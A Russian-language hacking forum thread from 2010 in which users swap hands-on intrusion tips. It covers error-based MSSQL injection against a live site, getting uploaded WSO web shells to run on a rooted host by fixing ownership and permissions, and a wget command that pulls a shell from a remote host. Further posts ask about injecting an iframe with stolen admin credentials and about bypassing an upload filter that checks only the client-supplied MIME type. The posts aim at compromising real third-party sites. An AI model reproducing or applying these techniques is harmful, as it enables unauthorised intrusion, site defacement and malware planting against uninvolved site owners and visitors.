HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.03.2010, 16:51
budden
Участник форума
Регистрация: 26.07.2008
Сообщений: 267
Провел на форуме:
1343031

Репутация: 184
По умолчанию

Есть инъекция в MSSQL - выводит ошибку (с полным query) только если incorrect syntax, все остальные не показываются.
Задача - сделать вывод нужных данных в этой ошибке, т.е. используя выполнение многих запросов за раз с точкой с запятой, засунуть результат селекта в сам запрос.

Составил пока такой запрос:
Цитата:
declare @v as varchar(2048)
select @v = @@version;
exec @v

Msg 203, Level 16, State 2, Line 7
The name 'Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Developer Edition on Windows NT 6.1 (Build 7600: )
' is not a valid identifier.
Но ошибка вылазит, как видно, не на синтакс.
Может есть идеи?

Чтобы было понятнее: хочу получить вот такую ошибку:
Incorrect syntax: Microsoft
SQL : SELECT id, desc from table1 where id='-1';...сам хитрый запрос...; select Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Developer Edition on Windows NT 6.1 (Build 7600: )

Последний раз редактировалось budden; 20.03.2010 в 17:02..
 
Ответить с цитированием

  #2  
Старый 20.03.2010, 17:57
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
По умолчанию

Цитата:
Сообщение от budden  
Есть инъекция в MSSQL - выводит ошибку (с полным query) только если incorrect syntax, все остальные не показываются.
Задача - сделать вывод нужных данных в этой ошибке, т.е. используя выполнение многих запросов за раз с точкой с запятой, засунуть результат селекта в сам запрос.

Составил пока такой запрос:

Но ошибка вылазит, как видно, не на синтакс.
Может есть идеи?

Чтобы было понятнее: хочу получить вот такую ошибку:
Incorrect syntax: Microsoft
SQL : SELECT id, desc from table1 where id='-1';...сам хитрый запрос...; select Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Developer Edition on Windows NT 6.1 (Build 7600: )

А зачем получать именно в таком виде ошибку? Главное же, что вывод данных есть. Можно данные ещё конкатенизировать с какими-то символами, провоцирующими ошибку при exec.
 
Ответить с цитированием

  #3  
Старый 20.03.2010, 18:16
budden
Участник форума
Регистрация: 26.07.2008
Сообщений: 267
Провел на форуме:
1343031

Репутация: 184
По умолчанию

Цитата:
Сообщение от Root-access  
А зачем получать именно в таком виде ошибку? Главное же, что вывод данных есть. Можно данные ещё конкатенизировать с какими-то символами, провоцирующими ошибку при exec.
Единственный вывод данных - это ругание на ошибку в синтаксе, т.е. когда сам запрос не может выполниться из-за скажем кавычки внутри или вызова несуществующей функции. Все остальные ошибки (на приведение типов например - convert (int, @@version)) никак себя не проявляют...

PS Приведенная мною ошибка в том посте про incorrect identifier - это результат на локальной системе, на самом сайте она не показывается.
 
Ответить с цитированием

  #4  
Старый 20.03.2010, 19:38
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740

Репутация: 912
По умолчанию

порутал сервер,когда заливаю на сайты шеллы и потом обращаюсь к ним из веба,то выдает такую ошибку -

Код:
UID of script "/home/*****/public_html/shell.php" is smaller than min_uid
выставил чмоды и выдает уже такую ошибку -

Код:
File "/home/*****/public_html/shell.php" is writeable by group
как сделать что бы шелл нормально работал?

Последний раз редактировалось .:[melkiy]:.; 20.03.2010 в 20:02..
 
Ответить с цитированием

  #5  
Старый 20.03.2010, 19:49
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

Цитата:
Сообщение от .:[melkiy]:.  
порутал сервер,когда заливаю на сайты шеллы и потом обращаюсь к ним из веба,то выдает такую ошибку -

Код:
UID of script "/home/*****/public_html/shell.php" is smaller than min_uid
выставил чмоды и выдает уже такую ошибку -

Код:
File "/home/ufaserv/public_html/wso2.php" is writeable by group
как сделать что бы шелл нормально работал?

шелл должен иметь владельца такого же, как и все файлы в папке (chown ufaserv wso.php) и права 755
 
Ответить с цитированием

  #6  
Старый 20.03.2010, 19:58
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740

Репутация: 912
По умолчанию

Цитата:
Сообщение от попугай  
шелл должен иметь владельца такого же, как и все файлы в папке (chown ufaserv wso.php) и права 755
GID of script "/home/*****/public_html/wso2.php" is smaller than min_gid



UPD: chown username:username * -R , так заработало


Цитата:
Сообщение от daniel_1024  
я открыл консоль на сервере..как закачать полноценный шелл ? права рут.
wget http://yoursite.ru/shell.php -O yaneshell.php

xeksite.ru/yaneshell.php

Последний раз редактировалось .:[melkiy]:.; 20.03.2010 в 20:21..
 
Ответить с цитированием

  #7  
Старый 20.03.2010, 20:16
daniel_1024
Участник форума
Регистрация: 15.07.2009
Сообщений: 158
Провел на форуме:
698831

Репутация: 34
По умолчанию

я открыл консоль на сервере..как закачать полноценный шелл ? права рут.
 
Ответить с цитированием

  #8  
Старый 20.03.2010, 22:21
Welemir
Познающий
Регистрация: 10.01.2008
Сообщений: 58
Провел на форуме:
122329

Репутация: -2
По умолчанию

Цитата:
Сообщение от daniel_1024  
я открыл консоль на сервере..как закачать полноценный шелл ? права рут.
Не понял )).Ну,как бы команды wget,lynx,source никто не отменял.И вообще,консолей много всяких...может,ты вообще сидел за терминалом рядом с системником?))))

ЗЫ: Я так понял,у тебя bash/csh или чет такое.
 
Ответить с цитированием

  #9  
Старый 20.03.2010, 21:25
CyberHunter
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
Провел на форуме:
1777031

Репутация: 256


По умолчанию

Скажите, как можно имея ник и пасс админа, изменить исходный код сайта (например ифрейм поставить)? На сайте не возможно залогинится. Как можно реализовать?
 
Ответить с цитированием

  #10  
Старый 20.03.2010, 21:41
Life7
Banned
Регистрация: 14.06.2009
Сообщений: 256
Провел на форуме:
260151

Репутация: 105
По умолчанию

Имеется такой код:

Цитата:
$filetype = $_FILES['imagen']['type'];
$name = $_FILES['imagen']['name'];
$extension = get_extension($name);
$imagen = $id.".".$extension;

if (!((strpos($filetype, "gif") || strpos($filetype, "jpeg") || strpos($filetype, "bmp"))))
{
$message = "Error";
}
Получается, проверяется только тип, передаваемый браузером. Т.е. можно сформировать фейковый пакет с типом image/gif, а заливать любой файл, так?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.